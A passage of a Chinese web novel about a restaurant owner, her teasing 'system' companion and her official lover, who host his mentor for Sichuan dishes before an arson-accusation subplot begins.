沈秋吟听得嘴角抽搐。
这个主神,还有点个性。
就是苦了系统!
她眨巴眨巴眼,好心安慰道:“你们系统也不容易。明明是酷帅的反骨,现在要走甜妹路线了,难为你了!”
不容易?
宿主哪里看出它不容易了?
它觉着还挺不错呀!
除了名字有点拿不出手而已,但内里还是自己,没啥区别。
不过宿主难得做个人,它极为配合道:“呜呜呜!宿主知道就好,所以你以后一定要好好对人家啦……”
甜腻的声音一出,沈秋吟身上的鸡皮疙瘩掉了一地,握紧了拳头道:“正常点!”
感受到杀气,系统一秒切换声音,酷酷道:“好的。所以宿主还有没有疑问?”
沈秋吟正要说没有,张口之际,忽然又想到了什么,问道:“昨晚你说触发关键词!关键词是什么?不会是喜欢二字吧!”
“哇哇哇!宿主好聪明哦!鼓掌鼓掌!”系统毫不吝啬夸奖道。
这无疑于又坐实了猜测!
“难怪你好端端跟我说什么喜欢要表达出来,原是在这儿等着我!好样的!给我挖坑了呢!”
她就说系统向来狗,怎会起烂好心。原来一切都是计谋!
系统哈哈两声,低着声音道:“我只引导,可没让你说哈。你自己也说了不会说的,谁知道你喝酒后没把门说了出来!”
喝酒误事!果真是喝酒误事。
沈秋吟一阵懊恼。
懊恼完后接着问:“我上次逗弄姜泊清时不也说过喜欢二字,为何那时不升级。”
“那时候你们没在一起,触发不了升级设定,自然没办法升级。”
她懂了,升级的第一个条件是在一起,第二个条件是喜欢二字。
“若我一辈子不说喜欢二字,你是不是一直升不了级?”
“理论上是这样。”
“啊——”沈秋吟悔恨不已,但也不得不接受这个事实。
再说,升级也有好处,好歹现在做任务能得积分,最后还能实现一个愿望,这不比从前好?
只是,有些地方她不明白,问道:“为啥升级的关键词会是喜欢,还必须是有情人的喜欢?”
这多少有点奇葩了!
这话问得系统有些自闭,它哀叹一声,颇为羞耻道:“主神他缔造我的时候分心看禁书,误把我的升级关键弄成了喜欢,还特别限定只有有情人的喜欢才能触发!”
啊这……!
这主神还真不靠谱!
系统:可不是嘛!
窗外的天蔚蓝,太阳缓缓升起。
沈秋吟撑着头继续问:“你们为什么会升级呀?机器不是从出生那刻就是完美的吗?”
既然完美,那就没有缺陷需要弥补,自然也不用升级。
系统默了半晌道:“升级意味长大,长大就能实现愿望。机器的确完美,但这样的完美令人害怕。”
沈秋吟觉得它的话很有深意,她隐隐有些明白,隐隐有些参悟不透。
世界安静了,她没再说话。
系统却主动戳戳:“你不问问我的愿望是什么吗?”
“你会告诉我吗?”她反问。
系统道:“肯定不会。”
“那你还问!过分!”沈秋吟嘟囔道。
“这不是勾起你的好奇心么!”
沈秋吟哼了一声,“我才不好奇呢!”
“我才不信呢!”
她是多么八卦的人呀!不好奇才怪!
不过,这回系统倒是失算了,沈秋吟真不好奇。
因为,她似乎知道它的愿望。
浮动的金光,漂浮的云,这是清晨独有的景象,沈秋吟的目光不自觉深邃起来。
她低眸的那刻,一丝微妙的想法涌现,她问道:“想知道霞光是什么样子的吗?”
“想!”
沈秋吟坏坏地笑了笑,道:“想知道呀!可天下没有免费的午餐,你不得拿点什么东西来换?”
“你想怎样?”
沈秋吟诱惑道:“咱们这关系,也不用多说。这样吧,只要你告诉我你的愿望,我立马给你形容霞光的样子。怎么样?”
系统一秒否决:“不怎么样!”
它才不会告诉宿主它的愿望呢。
“既然这样,那便当我什么都没说。”
她抬头继续看着色彩绚丽的霞光,嘴里还哼着不知名的小调,心情颇好。
系统却嘤嘤嘤地假哭了起来,控诉她欺负人!
沈秋吟被它吵得烦,叫停后道:“霞光五颜六色,迷人而又灿烂。”
系统禁了声,良久“哦”了一声,语调颇为愉快。
沈秋吟笑了笑,提及另一个问题:“你还会反骨吗?”
“这个——”系统拖长了音调,“看宿主表现啦。”
沈秋吟假笑一声,拖长了声音说:“狗改不了吃屎,说的就是你!”
53. 哪里不规矩了?
沈秋吟刚踏出房门半步,就迎上了急匆匆跑来的章丘。
“掌柜的,”他握着衣襟喘了口气,神色慌张,结巴道,“大,大,大理寺卿来了。”
大理寺卿?
沈秋吟第一反应是大官,其次是姜泊清的上司。
然后是,他来做什么?
不会又出什么幺蛾子了吧?
沈秋吟忐忐忑忑,将有可能发生之事都想了一遍,最终得出结论,自己估计要三进大理寺了。
“做人别这么悲观!”系统慢悠悠道。
不是她做人悲观,而是——
“我哪回开心的时候没被浇冷水?”
她实在是怕了,犹如杯弓蛇影,一朝被蛇咬,十年怕井绳。
“额……”这话说得,让它无言以对,尬笑两声道,“那还是悲吧!”
沈秋吟低头扶额,苍天呢!大地呀!
唉——
这可如何是好?
她心烦意乱急得跺脚,章丘奇怪地看着她,正要说话,沈秋吟猛地拍了一下自己的手,脸色颇为难看道:“哎呀!不管了!船到桥头自然直,沉了就叫姜泊清!”
好歹也算和大理寺沾亲带故,她就不信了姜泊清能见死不救。
沈秋吟带着视死如归的决心走了出去。
章丘傻乎乎地抹了抹脑袋,原地叫道:“掌柜的,我话还没说完呢!”
无奈沈秋吟已经走远。
这……!
沈秋吟到了前堂,抹了两滴水在眼下,她已经想好了,无论待会儿怎样,冲上去抱着大理寺卿的手哭就行了。
人们总是同情弱者,说不定她这几滴猫儿泪能起大作用。
她深吸一口气,压下心中的紧张与害怕,心一横,冲了上去,跌在那个穿紫色官袍的老者身边一把鼻涕一把泪嚎啕。
众人一惊,纷纷站起来,就连那老者也是瞪大了眼睛,没搞明白情况,傻愣愣地看着沈秋吟,眨巴一下眼,想弄明白她整哪一出。
沈秋吟拿出生平最好的演技,低垂着眸子,小白花似的抹泪,让人一见,便心生怜悯。
她夹着声音,矫揉造作道:“大人,小女子从经营百膳楼开始,老实本分,未做过伤天害理之事,若有人状告,纯属污蔑。”
对对对!
告状的都是污蔑!
她真的是大大的好人,凭着良心赚钱,爱财有道,所以别抓她,她不想三进大理寺。
话落,她抬起眸子,泪眼婆娑地看了一眼大理寺卿。
系统不经发出“啪啪啪”地鼓掌声:“这演技,绝了!怎么看,怎么奇葩!”
“你才奇葩呢!”沈秋吟怼道,而后继续看着嘴角抽搐,一脸难以形容的大理寺卿。
这人怎么了?
咋感觉……嗯……说不出来……似乎震住了!
大堂安静,众人的目光都落在她身上。
从她的言语间似乎可知百膳楼又被告了,可是,怎么一点风声也没有?
这样大的瓜,居然没有风声!
可恶!实在可恶!
众人活动手脚,伸长了脖子,竖起了耳朵准备把这瓜整明白。
大理寺卿蠕动嘴角,张了张口,正欲言,一道清冽地声音自身后响起:“你在干嘛?”
沈秋吟回过头,姜泊清站在她身后,背着天光。
金黄光晕绽开,他如光里走来的仙人,俊朗的脸庞,让人移不开目光。
就是……手中不拿着一袋糖炒栗子就好了!
实在是和他的格调不搭呀!
姜泊清眨了眨眼,不明所以看她,这姑娘又唱哪出戏?
沈秋吟也是一愣。
什么……情况?
章丘此时跑了进来,拍了拍胸脯气喘吁吁道:“掌柜的,姜大人说大理寺卿最近食欲不振,想尝几道蜀地菜。”
啥?
沈秋吟立马看向章丘,“你说啥?”
这么大的反应?
他没表述清楚?
章丘黑溜溜地眼珠滚了滚,扫了一圈众人,这气氛貌似不对……
他颇为手足无措道:“大理寺卿……食欲不佳,想吃几道……蜀菜。”
都是重点……应该说清楚了吧?
“啊——”沈秋吟明显愣住了,一双澄澈的眸子瞪得老大,缓了一会看向大理寺卿道,“所以,他不是来抓我的?”
“啥时候说要抓你了?”
“老夫什么时候要抓你了?”
章丘和大理寺卿的声音同时响起,仿若一道惊雷,炸得沈秋吟头晕目眩。
哦莫!这——
想多了又出乌龙了!谁能想到这大官还真来吃饭!
淦!
沈秋吟一张脸红得跟猴屁股似的,低着头拉衣袖挡住半张脸,恨不得找个缝钻进去,永世不见人。
众人一瞧这画面,明白了,沈掌柜又整笑话了!
害,咱就说嘛!百膳楼被告一点风声都没听见,怎么可能!
系统幸灾乐祸出声:“看嘛!都说了要淡定,你不听!这下好了,又闹笑话了哦!”
沈秋吟无颜面见江东父老,声若蚊蝇道:“可闭上你的嘴吧!”
“闭上就闭上,哼!”系统哼着一曲小调下线。
这可真是闭上了又没完全闭!
狗系统!绝对是故意的!
它最好祈祷自己没啥漏洞,但凡被她抓住,准要它好看。
切!
姜泊清见这姑娘羞涩模样,不用想,就知晓是怎么回事了。
多半是禀报的小二话没说完,这姑娘就开始乱想,所有结局都想了一遍,就是没往好的结局想,最后自己吓自己,以为大理寺又来抓她了,便整了这么一出戏。
唉……真真是糊涂呀!
他低头揉了揉鼻骨,走过去将她扶起来,沈秋吟不敢见人,躲在宽大袖子后。
姜泊清温柔地揉了揉她的头,轻声道:“没事的。反正也不是一次两次了,大家都见惯不怪了。”
濮阳城里关于她的糗事也不是一件两件了,也不在乎又多一件。
沈秋吟放低了手,露出一双恶狠狠地眼睛,如刀般锋利,“姜泊清,我劝你善良!”
少揭她短!不然画个圈圈封印他!
姜泊清笑道:“本人很善良,到是你……”
“呜呜!我也善良!”
可是善良的人为什么没有好报!总让她丢脸。
“我知道!”她小脸皱成一团,姜泊清手痒,忍不住捏了捏。
姑娘的皮肤细腻光滑,跟剥了壳的鸡蛋似的,姜泊清爱不释手。
沈秋吟打开他的手,小声警告道:“注意你的行为!”
这可是在外面,光天化日之下,少做人心黄黄的事!
姜泊清接受到他的眼神,轻咳两声,讪讪收手。
沈秋吟继续拉着袖子遮住自己通红的脸。
姜泊清扯了扯:“别挡着了,快见过师傅。”
“师傅?”沈秋吟转头看了一眼大理寺卿,“他是你师傅。”
“嗯。”他笑着点点头。
哦莫!
大理寺卿!
他师傅!
姜泊清长辈!
沈秋吟欲哭无泪,宽大袖子全盖在了脸上,声音自袖中传来:“这丢脸算是丢到了祖师爷那去了!”
众人捂住嘴偷偷地笑。
大理寺卿通过只言片语搞清楚了状况,忍不住也跟着笑,一时太猖狂,差点被口水呛着。
缓过来后,戏谑地看了看姜泊清:“你们家小娘子当真有趣!”
刚才她忽然扑过来差点没把他吓死,后头又是哀嚎、又是哭泣,他都以为出了什么惊天动地的大事了,原不想竟是自己想多了,整出了这么大一场事。
这小娘子,与其他姑娘当真不一样,旁人温柔端庄,偏她性子跳脱,难怪姜泊清这冷面阎王也被她吸引。
只是不知,于这姑娘而言是福是祸。
他眼中闪过一丝怅然。
“她的确有趣。”
姜泊清笑了笑,看向沈秋吟,眸中是难有的柔和,如三月春光,温暖一片。
扑捉到他眸中情绪,大理寺卿倒是晃了一下神,而后摸着胡须,略有醍醐灌顶之感。
恶人自有恶人磨,塞翁失马,焉知非福。
或许遇上沈秋吟,姜泊清心中也会有一片净土。
他们的思绪沈秋吟浑然不知,还遮着脸懊恼着。
姜泊清见此,将热闹的食客散开,沈秋吟这才愿意露出那张惊为天人的脸。
方才被她惊住,大理寺卿未仔细看这姑娘,如今一见,才知多美
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,似九天神女下凡尘,又如褒姒、妺喜再世。
妖而不媚,媚而不惑,姝色自成。
难得一见的美人,与姜泊清站在一处,佳偶天成。
大理寺卿满意的叹了一句:“妙!妙极了!”
郎才女貌,天生一对。
“嗯?”沈秋吟没反应过来,不知他说何妙。
姜泊清掰了一颗栗子喂进她嘴里。
栗子微甜,沙沙的口感,让人上瘾。
“周婆婆家的栗子?”她只尝一口,便晓得出处,因为周婆婆家的糖炒栗最为独特。
他“嗯”了一声,又掰了一颗给她,“前些日子下雨,没瞧见她出来,今儿个见了她,足足给你买了一袋,够你吃两三天了。”
“这么多?”沈秋吟一惊,“喂猪呀?”
姜泊清笑道:“可不是喂猪吗?”
他别有深意的目光落在自己身上,沈秋吟才觉此话不对。
怎么能说自己是猪呢!
可恶!
“不准笑!”沈秋吟撇着嘴道。
“我尽量!”
他尽量不让嘴角平下来。
瞧着这两人打情骂俏,大理寺卿直呼没眼看。
他轻咳两声,以“饿了”为由打断他们你侬我侬。
这恩爱,哪里都可以秀,但就是不能对着人!
会招红眼病的!
沈秋吟猛然忆起还有外人在,捂着一张红彤彤的脸落荒而逃,引来堂里笑声阵阵。
“还不快去追?”大理寺卿看了姜泊清一眼。
这小子,会不会谈恋爱呀!还在这里傻笑,他合理怀疑是沈秋吟眼瞎才瞧上了她。
不然谁会喜欢一个冷冰冰的人。
不过,从姜泊清脸上见着笑意也是难得。
唉……
这孩子困得太深了。
姜泊清敛住笑容,“这就去了。”
他出了前堂,小跑了几步,追上了脸红的姑娘。
姑娘瞧见他,没好气的打了他一下,气呼呼的样子像塞满食物的仓鼠。
郎君噙着笑,好声好气哄着。
姑娘开心了,露出了笑,正经问道:“章丘说他食欲不振,大夫怎么说?”
“大夫也没诊断出什么毛病。我估计他是吃多了清淡菜,现在又是乍暖还寒时,所以食欲不振。因此带他来尝尝你做的蜀菜。”
沈秋吟微微点头,表示了解,继续问道:“微辣、中辣、重辣,你觉得哪一个辣度好?”
微辣味儿恐淡,重辣怕难以下咽,姜泊清道:“中辣。”
中辣味儿不算淡,也不太辣,如此正好。
“行!”
考虑到大理寺卿是土生土长的濮阳人,对辣没有深刻认识,沈秋吟做菜时不敢真按中辣做,点到即止即可。
前两道菜已经做好,做第三道菜前,沈秋吟问道:“师傅吃内脏吗?”
西崤虽然开放,但对内脏人们的态度不一,有些人嫌弃,说是肮脏物,有些人到喜欢得紧。
众口难调,她还是先问一句,免得到时尴尬。
姜泊清回道:“吃的。”
“那就好!”
这第三道菜,她做的是毛血旺。
所谓毛血旺,便是将猪血切成块,辅以各种调料,加以其他小菜而成。
此菜最具蜀地风味,以麻辣煮出的猪血更是别具一格。
姜泊清头一次见这菜,十分新奇,离了灶台,去她身边细细地看。
初时他还只是盯着她手上的动作,渐渐的,他目光上移,停在她的侧脸上。
姑娘低垂眸子,长长的睫翼遮住了眸中的光,新鲜的猪血在她手中变成四四方方的小块。
她做得仔细,鬓边一缕碎发落下,遮住了半边容颜。
犹抱琵琶半遮面。
他忽然想到这句诗,到是应景。
怕碎发挡住她的视线,他伸手将它们搁置耳后。
温热的指腹突然挨上她的脸颊,有些痒,她下意识躲了躲,停了手中动作,看向姜泊清,警告道:“这是厨房,规矩点哈!”
从前没在一起时,这人还算规矩,瞧着像个人,在一起后,越发不着调了,真不是个人了。
姜泊清挑眉,指腹忽然缠起那缕碎发,意味深长道:“我哪里不规矩了?”
54. 冤!大冤呀!
姜泊清的气息突然压近,她往后退了一步,紧挨着台子,身体往后仰着。
他伸出手,揽住盈盈不及一握的腰,坏心地挑逗。
她抵住他的胸膛,咬牙切齿又道了一遍:“这是厨房!”
“我知道,”他俯身埋在了她的颈窝处,哑着声音说,“可只有我们两人。”
真真是像极了一个浪荡的登徒子,让人想给他两个大耳巴子。
“我再次警告你哈……少乱来,不然我叫人了哦!”
他立起了身子,另一只手挑起她的下巴,细细端详姑娘的脸,笑道:“你叫吧!阿吟的叫声婉转如黄鹂,好听得很。”
臭流氓!
士可忍,孰不可忍!
沈秋吟挪了脚,出其不意,一脚踢向他的膝盖,姜泊清毫无防备,吃痛一声,放开了她。
他半蹲在地,抬头看她,可怜兮兮道:“好狠的心。谋杀亲夫。”
“让你不规矩!”
他站起来,讪讪地摸了摸鼻子,“我就想逗逗你嘛。”
“少来!”她不理会他。
这人呀!就是坏!对她图谋不轨。还非要找借口。
真不是什么好东西!
姜泊清怕她恼,不敢造次,乖乖地回到灶后坐着,拿柴烧火。
沈秋吟有条不紊做着手中的活儿,厨房安静,阳光透光窗牖洒下一地斑驳,颇有几分岁月静好的样子。
姜泊清抬头看她,她专心致志,一丝不苟,注意力全在手上。
似乎是感受到了他的目光,她抬起头,眼底都是警告。
“少动歪心思哈!”
姜泊清直呼冤枉,辩解道:“你那一脚,差点没废我一条腿,我怎么敢动歪心思嘛!”
“如此最好!”
臭女人!真是越来越凶了!
沈秋吟一共做了四道菜。
第一道口水鸡。
这菜名字奇特,但切勿望文生义。它并非真由口水制成,而是鸡腿肉过凉水淋上红殷殷的油辣子,令人食欲大振,口水直流,因而得名。
第二道蚂蚁上树。
这菜又名肉沫粉条,是蜀地传统菜之一,因翻炒过的肉沫沾在粉条上形似蚂蚁爬树,故有此名。
这第三道菜毛血旺无需多言,然这第四道菜回锅肉必然得好好提一回。
回锅肉乃蜀菜之首,必取上等的五花肉凉水下锅,加以葱姜除味,去浮沫,煮至筷子能扎透肉时起锅放凉。
放凉后的五花肉切成片,锅中倒少许油,等油温升高,放肉入锅干煸至金黄。
这时候就要加入葱姜翻炒,再来一勺特制酱料上色,然后放入青红辣椒,切段蒜苗,继续翻炒数下,便可出锅。
想着大理寺卿食欲不振,她又特的备了一叠酸菜,不光解腻,更是开胃。
如此,为他准备的菜,彻底完成。
姜泊清熄了灶孔里的火,自发拿了托盘将菜放进去,端去前堂。
沈秋吟切了肉,手上油叽叽的,她净了手,随他一同去。
路上,她忽然问:“你如何拜大理寺卿为师的?”
姜泊清答道:“边关回来后,入大理寺,便拜他为师,学探案之术。”
“这样呀。”
沈秋吟没再细问。
入了前堂,他们向二楼去。
好歹是大理寺卿,坐一楼恐引起是非,沈秋吟便让章丘带他去二楼厢房,隐蔽些总是好。
姜泊清端着托盘,沈秋吟将盘上的菜端到桌上,放一个介绍一个。
大理寺卿听了名字发笑,摸着胡须道:“早就听闻蜀地人随性,听了这名字,才晓得有多随性。”
蚂蚁上树、口水鸡。
这菜名,若在濮阳,实在难登大雅之堂。
不过,若是蜀地,自然不一样了。
据传闻,蜀地人都很神,主打一个自在随心,不受拘束。
四道菜,大理寺卿一个人吃不完,招呼他们一同吃。
沈秋吟因着先前丢脸事儿,不愿面对,奈何盛情难却,终是坐了下来。
光吃菜还是少了乐趣,瞧着大理寺卿应是花甲之年,沈秋吟便让章丘去后院的桂树下挖一坛好酒出来。
美酒佳肴,这顿饭算是到位了,大理寺卿喜不自胜,连眼角眉梢都是笑意。
沈秋吟见此,知晓自己这酒是上对了。
大理寺卿并非迂腐之人,桌上也并未守着“食不言,寝不语”的规矩,与他们说起了姜雁。
提到姜老头,沈秋吟这才发现自己久未见过他了。
似是上次他傍晚入城,说了句第二日要进宫,便如人间蒸发了一般。
“姜爷爷如今还在宫中吗?”她问。
姜泊清点了点头,“圣上命爷爷教养六皇子,从进宫后就未出过。”
这是待了多久呀?
沈秋吟掰着手指数日子,数了一会儿,没数清,算了,她只数得清银子。
大理寺卿轻抿一口酒,叹道:“这六皇子出了名的混世魔王,到了南回手上,却乖觉的不像话。”
“南回?”沈秋吟疑道。
六皇子她到知晓。但南回这人?她没听过。
“这是爷爷的字。”姜泊清解释道。
姜雁,字南回。
“嗷嗷,”她点了点头,看向他,“那你字什么?”
他道:“舟野。”
“舟野……”
她呢喃几声,品不出其中深意,也就没品了,转而继续与大理寺卿说六皇子之事。
宫中之事,于民间而言,能知道的少之又少,但这六皇子的盛名,却是在民间盛传。
当今圣上也算深情,宫中皇子公主皆由皇后所出,妃嫔皆不曾生育过。
而这六皇子乃是皇后最小的儿子,宫中最小的皇子。
因着这个,自出生起受尽宠爱,也就养成了一身坏脾气。他虽不做烧杀抢掠之事,但调皮捣蛋之事一件也未曾落下。
要么是打了谁家公子,要么是吓哭了谁家小姐,惹得圣上头疼不已。
又因着太后宠着这个孙子,处处维护,以至于越发胆大包天,连教习先生也敢捉弄。
俗话说天地君亲师,尊师重道,自古如此。如今他连教他习书的先生都不放在眼里,以后如何得了。
圣上大怒,便让姜雁入宫为师,教授诗书礼仪。
姜雁是谁?
这可是从战场下来杀敌无数的大将军,六皇子在他手中挨了几回打,总算乖了起来,像个心地善良的小朋友了。
只是苦了姜老头得一直待在宫中,直到六皇子彻底改掉一身坏毛病才准出宫。
大理寺卿又喝了一口酒,看向沈秋吟:“我上回在宫中遇见南回,他还说想吃你做的菜呢!只是可惜,宫中不准外食进入,不然我高低给他带些。”
“就算能带也不给他带,”姜泊清道,“这老头,就该受些苦。”
他还记着仇呢!
大理寺卿轻笑一声:“你们这对祖孙呀,真真是冤家。”
明明是挂念,可这一张嘴,愣是变了味儿。
沈秋吟到听出几分不对劲儿来,问道:“住皇宫,吃御膳还叫受苦?”
这些个当官的是对受苦有什么误解吗?
那可是皇宫,锦衣玉食,金玉华筵,这都叫受苦的话,那什么才叫荣华富贵?
大理寺卿笑道:“小姑娘,你还是年轻了。宫中之物,胜在精致。但论味道,不及民间。”
沈秋吟这回是真惊了。
这……怎么与书里写得不一样呀!
瞧着她震惊的样子,大理寺卿觉得好玩儿,又抖了些宫中秘幸出来。
沈秋吟听得津津有味,最后默默地想果然还得身临其境,才能知晓那些不为人知的故事。
“所以,这个世界来得对吧!”
系统突然出声,喋喋不休道:“你看。若是没来这个世界,你就不知
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道宫中之食并不美味,也听不到官员们在宫中过的有多么艰辛。所以,你有没有觉着自己是幸运儿呀!”
系统笑嘻嘻,宿主冷呵呵。
“劝你识相下线。”
不想理它。
“好勒!”
她语气不好,估计想到了初来乍到时发生的伤心往事。
它惹不起,躲得起,麻溜的下线。
自发妻走后,大理寺卿憋了一肚子八卦无人可诉,如今见了沈秋吟,两人不过谈了几句,便有相见恨晚之意。
若不是姜泊清以差辈拦着,这两人差点结为了忘年交。
大理寺卿喝多了,忆起往事,微微醉道:“这小子,才拜我为师时,我都以为他是上天派来折磨我的,整天沉着一个脸,像谁欠了他钱似的。”
“可后来,”他瞥了一眼姜泊清,“他不容易,小姑娘……”
“师傅,”他未完的话被姜泊清打断,“你醉了!”
大理寺卿会心一笑,懂他的意思,也未在说下去,撑着头道:“是呀!醉了!”
他真的醉了,都出幻觉了,听见了锣鼓喧天,有人骂着狗官。
他揉了揉眼睛,视线穿过窗落在了街上,或是醉酒,眼前无端朦胧起来,看不真切。
街上热闹,有人游街。
带头的好像是个疯癫的老婆子,穿着一身白衣,白衣上写着一个大大的“冤”字。
街头百姓自发为她让出一条路,有人对她指指点点,嘈杂声传来——
“林小娘的娘又出来发疯了。”
“她们家的事儿不是早判了吗?她家女婿没问题,又那样孝顺,她是非要害了她女婿才甘心吗?”
“谁说不是呢!本以为消停了,现在又来闹。真真是没完没了。”
“这林婆子真不是个人呀!她女婿将她照顾得无微不至,居然还整这出。真是可怜了她的女婿,怎么摊上了这样一个丈母娘。”
七嘴八舌的议论声连绵不断,大理寺卿听得晕眩,耳边似有蜜蜂嗡嗡地叫。
他摇了摇头,继续看向长街。
街边的百姓站成排,那个穿白衣的老婆子身后跟着一群人,敲锣打鼓,唢呐声声。
大悲乐调,叫人头皮发麻,后背发凉。
那老婆子手里还端着篮子,篮子中放满了纸钱。
她每走一步,撒一把纸钱,戚哀喊道——
“冤!大冤呀!大理寺的狗官不做人,判那狗东西无罪呀!冤!大冤呀!”
漫天纸钱洒下,人们敬而远之,生怕沾染上了,引来邪物。
这时候,一个束冠的青衣公子走了出来,拉拽着白衣婆子,喊着娘呀娘呀,快回家吧,跟儿回家去吧。
白衣婆子见了他很是抗拒,挣扎着,双目通红,恨不得将他碎尸万段,不光如此,更是拿着篮子使劲儿砸他,砸得头破血流。
周遭的百姓见此,冲上去拦着。
老婆子骂着狗东西,狗东西,你害了人,阎王要叫你下地狱。
青衣公子捂着伤口不曾有丝毫恼怒,依旧叫着娘呀娘呀,跟儿回家去。
老婆子不从,又挣了起来。
场面一时混乱,有看好戏的也有帮忙的,更有逗趣的,凑个乐呵的。
眼见着那婆子又要打上那男人时,人群里不知谁喊了一句——
“林婆子,做个人吧!”
音落之时,大理寺卿忽然痛苦难耐,喊道:“泊清,泊清,林婆子……林家小娘……她们又来了,又来了……”
姜泊清连忙上前,捂住他的耳朵,对沈秋吟道:“快关窗!”
沈秋吟“啊”了一声,反应过来,走过去将大开的窗牖一一合上。
青天白日,日光拉长了影子,将街头的人影倒映在窗牖上,仿若一场皮影。
她转身看去,却见大理寺卿蓦然晕了过去。
沈秋吟呆愣愣地站在原地。
傻傻地想怕是真要三进大理寺了。
55. 林小娘子
“十年生死两茫茫,不思量自难忘。千里孤坟,无处话凄凉。”
——苏轼《江城子·乙卯正月二十日夜记梦》
街上乱成一团,楼里也乱成一团。
大夫、小厮来来往往。
沈秋吟白着一张脸,“是……是因为我……”
姜泊清握住她的手,一口否决道:“不是,不是因为你。”
“那是?”
“是师傅的心病。”
姜泊清将故事娓娓道来。
一年前,大理寺卿张圭玉发妻病重,久卧病榻。于这时,住在铜锣胡同里做布匹买卖的林婆子来大理寺状告数月前百花胡同那场大火乃她女婿所放,她女婿杀了人,手上背负了数条人命。
百花胡同的那场火乃是濮阳之忌,提起那场火,人人都摇头,不愿多提,因着实在过于惨烈。
张圭玉接了诉状很是重视,直接将她女婿下狱,而后派人前去调查,务必要查明此事,若那火真是她女婿所为,便是叫他偿命也难以弥补。
这等大案,乃是立功的好机会,捕快们也查得用心,但查到最后发现,事情似乎与林婆子诉状上所说不一。
林婆子的女儿和女婿住在百花胡同,大火起前,她女婿被友人唤了出去,逃过了一劫,而女儿却没躲过这场灾难,被火烧成灰烬。
按理说百花胡同人多,那火应是烧不起来的,但巧的是那日街上有游神,住户们都去看游神了,无人注意起火。
等发现时,火势蔓延,烧得房屋全都坍塌了,连井中水也干涸,火焰筑成了墙,无人敢进,只能眼睁睁看着烧。
一时间哀嚎遍地,哭声震天。
官府得了消息,派出所有官兵接水灭火,扑了一天一夜,才终将这场大火熄灭。
火后有雨,淋在废墟之上,似在冲刷这场惨痛。
痛失亲人的百姓一夜白头,于黑漆中寻找尸体。幸运者还能寻到一些残躯,但不幸者更多,大火无情,尸体已烧成了灰烬,掩埋尘土之中。
而那林小娘子便也是灰烬里的一员。
其母林婆子听闻这消息时,伤心过度,吐了好大一口血,晕了过去,醒来后差点把眼睛都哭瞎了。
如此大的火,又死了这般多的人,自然引来的官府的查探。
经过多方努力,最后查明,是游神里的火球不知不觉中与漂浮的柳絮相燃,最终引起了百花胡同大火。
因着这事,朝廷下令,禁止在春日明火,免得重蹈灾难。
圣上更带头缟素七日,又命佛寺僧人为死者念经超度,度他们轮回。
百姓因此,也家家缟素,悼念亡者。
春日万物复苏,本该兴盛,但因百花胡同的火,濮阳低迷了好一阵,人人脸上不带笑容,个个眉眼间夹着愁绪。
这种情况一直持续到夏日才有所好转。
大抵是人们想通了,逝者已矣,生者也要继续过活,继续沉迷下去,也无济于事,不如振作起来,面对人生。
而这时,林婆子突然闹了起来,说这火不是游神燃起来的,而是她女婿放的。而她女儿,也是被女婿害死的。
这番言论起初只在小范围流传,后头林婆子一纸诉状告到大理寺,流言彻底传开。
人人都说林婆子失女,伤心过度,得了失心疯。
因为她那女婿,是百花胡同出了名的老实人,对林小娘子百依百顺,甚至可以说是捧在手里怕摔着,含在嘴里怕化了。
相反,那林小娘子仗着其母做生意,有些钱,养成了一身坏毛病,动不动就对他打骂,更甚至有时候不顾外人在场,对他冷嘲热讽。
而这男人也忍得,每回都由着她媳妇撒泼,胡同里的百姓们传为真爱,更有些人家找女婿都按着他的标准找。
这样好的男人,岂会杀妻?所以人人都说是林婆子疯了。
有人报案,大理寺理应审理。
这桩本以被了结的百花胡同大火案又抬了出来。
可查到最后,连细节都扣了,也显示这场火是意外,而她女婿更有充分的证据证明自己没有纵火。
因此林婆子的举报不成立,她女婿也被无罪释放。
可这林婆子不罢休,叫嚷着:“就是他杀了人。我女儿在梦里都给我说了,就是他杀了人,就是他!我女儿就是死在他手上。”
梦中之言,岂能作为呈堂证供?
林婆子这番话,不光没能证明女婿有罪,反而坐实了自己疯了的传言。
张圭玉按律将她赶了出去,后头消停了些许时日。
随着时间流逝,张圭玉发妻病情加重,药石无医。
那天晚上,暴雨倾盆,城中积水漫过小腿。
张圭玉当时在宫中面圣,家仆传来发妻将陨的消息时,他连礼仪也顾不得,冒着雨往家赶,只为见她最后一面。
眼看着就要到家了,林婆子突然冲了出来,死活拖着他不让走,嘴里振振有词念道:“大人!我女儿在梦里说了,她被困在百花胡同里,魂魄难以消散,投不了胎,转不了世,做不成人。大人,你帮帮她,帮帮她呀!”
张圭玉一心都在发妻身上,与她说:“你若有冤,写了诉状去大理寺报案。我有急事,你松开我。”
林婆子不放,张圭玉使劲儿扒开她,急匆匆继续往前走,林婆子却又扑来上来,不依不饶叫他做主。
张圭玉恼怒,正吼着让林婆子放手时,府中人跑了来,带着哭腔道:“大人,夫人没了。”
“你……说什么?”他不愿相信。
府中人抑制住哀泣,又重复了一遍:“夫人,没了……”
张圭玉愣在原地,仿若石化,呆傻傻念着:“没了,没了……”
雷鸣阵阵,一道闪电打下,令人生惧,林婆子癫疯地缩成一团。
又一道闪电落下,劈断了直挺挺的树,也劈断了他脑中紧绷的弦。
少年夫妻,一路相伴,走过了风风雨雨,而今白头,妻走时,他却连最后一面也未见上,就此错过。
无限悔恨涌上心头,他一口气没喘上来,跌倒在大雨中。
因着这个,张圭玉对“林婆子”“林小娘子”产生了阴影。
一听她们名字或是见了林婆子,便想起发妻之死,自己因她,因她们,未见着爱人最后一面,留下终生遗憾。
林婆子因为张圭玉的态度,认定了他是狗官,此后便时不时带着丧仪队在城中撒纸钱,骂她女婿,也骂张圭玉。
起初官府的人管过,可这林婆子是个泼皮,油盐不进,再加上张圭玉不愿听见她的消息,就让人传话给官府,让他们不要理会,官府的人也就随她去了。
沈秋吟听完故事始末,一阵唏嘘。
她正欲言,大夫出来了,叫道:“姜大人,寺卿大人醒了。”
姜泊清连忙进屋,沈秋吟紧跟其后。
张圭玉坐了起来,眼眶湿润。
“泊清,差一点,就差一点我就见着她了……你说她会不会怪我,以为我故意不去见她?”
姜泊清道:“不会的,师娘不会怪您的。”
“可我恨呀!泊清,我恨……”他双手掩面,泣不成声。
官场沉浮,荣辱看遍,他一生最多的泪,只为发妻而流。
沈秋吟受他情绪感染,不经也红了眼眶。
世上夫妻无数,但能相互扶持到老的,却少之又少。
因着林婆子中途难截,未见发妻最后一面,她这个旁听者听着都觉心疼,而他这个当事人的心,估计已在滴血。
她哀叹一声,久久
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也无法从情绪里走出来。
天色已晚,今夜无星无风,闷沉沉的,压抑得人呼吸不畅。
